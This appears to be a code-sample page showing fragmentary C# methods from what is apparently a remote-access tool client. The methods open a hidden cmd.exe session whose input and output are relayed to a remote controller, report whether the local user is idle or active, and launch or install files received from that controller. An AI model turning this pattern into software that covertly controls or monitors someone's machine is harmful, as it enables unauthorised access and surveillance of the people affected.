Ejemplo n.º 1
0
        /// <summary>
        /// Creates a new session of the shell.
        /// </summary>
        private void CreateSession()
        {
            lock (_readLock)
            {
                _read = true;
            }

            var cultureInfo = CultureInfo.InstalledUICulture;

            _encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage);

            _prc = new Process
            {
                StartInfo = new ProcessStartInfo("cmd")
                {
                    UseShellExecute        = false,
                    CreateNoWindow         = true,
                    RedirectStandardInput  = true,
                    RedirectStandardOutput = true,
                    RedirectStandardError  = true,
                    StandardOutputEncoding = _encoding,
                    StandardErrorEncoding  = _encoding,
                    WorkingDirectory       = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),
                    Arguments = $"/K CHCP {_encoding.CodePage}"
                }
            };
            _prc.Start();

            RedirectIO();

            _client.Send(new DoShellExecuteResponse
            {
                Output = "\n>> New Session created\n"
            });
        }
 /// <summary>
 /// Checks for user activity changes sends <see cref="SetUserStatus"/> to the <see cref="_client"/> on change.
 /// </summary>
 private void UserActivityThread()
 {
     while (!_token.WaitHandle.WaitOne(10))
     {
         if (IsUserIdle())
         {
             if (_lastUserStatus != UserStatus.Idle)
             {
                 _lastUserStatus = UserStatus.Idle;
                 _client.Send(new SetUserStatus {
                     Message = _lastUserStatus
                 });
             }
         }
         else
         {
             if (_lastUserStatus != UserStatus.Active)
             {
                 _lastUserStatus = UserStatus.Active;
                 _client.Send(new SetUserStatus {
                     Message = _lastUserStatus
                 });
             }
         }
     }
 }
Ejemplo n.º 3
0
 /// <summary>
 /// Checks for user activity changes sends <see cref="SetUserStatus"/> to the <see cref="_client"/> on change.
 /// </summary>
 private void UserActivityThread()
 {
     try
     {
         if (IsUserIdle())
         {
             if (_lastUserStatus != UserStatus.Idle)
             {
                 _lastUserStatus = UserStatus.Idle;
                 _client.Send(new SetUserStatus {
                     Message = _lastUserStatus
                 });
             }
         }
         else
         {
             if (_lastUserStatus != UserStatus.Active)
             {
                 _lastUserStatus = UserStatus.Active;
                 _client.Send(new SetUserStatus {
                     Message = _lastUserStatus
                 });
             }
         }
     }
     catch (Exception e) when(e is NullReferenceException || e is ObjectDisposedException)
     {
     }
 }
Ejemplo n.º 4
0
 private void ExecuteProcess(string filePath, bool isUpdate)
 {
     if (isUpdate)
     {
         try
         {
             var clientUpdater = new ClientUpdater();
             clientUpdater.Update(filePath);
             _client.Exit();
         }
         catch (Exception ex)
         {
             NativeMethods.DeleteFile(filePath);
             _client.Send(new SetStatus {
                 Message = $"Update failed: {ex.Message}"
             });
         }
     }
     else
     {
         try
         {
             ProcessStartInfo startInfo = new ProcessStartInfo
             {
                 UseShellExecute = true,
                 FileName        = filePath
             };
             Process.Start(startInfo);
             _client.Send(new DoProcessResponse {
                 Action = ProcessAction.Start, Result = true
             });
         }
         catch (Exception)
         {
             _client.Send(new DoProcessResponse {
                 Action = ProcessAction.Start, Result = false
             });
         }
     }
 }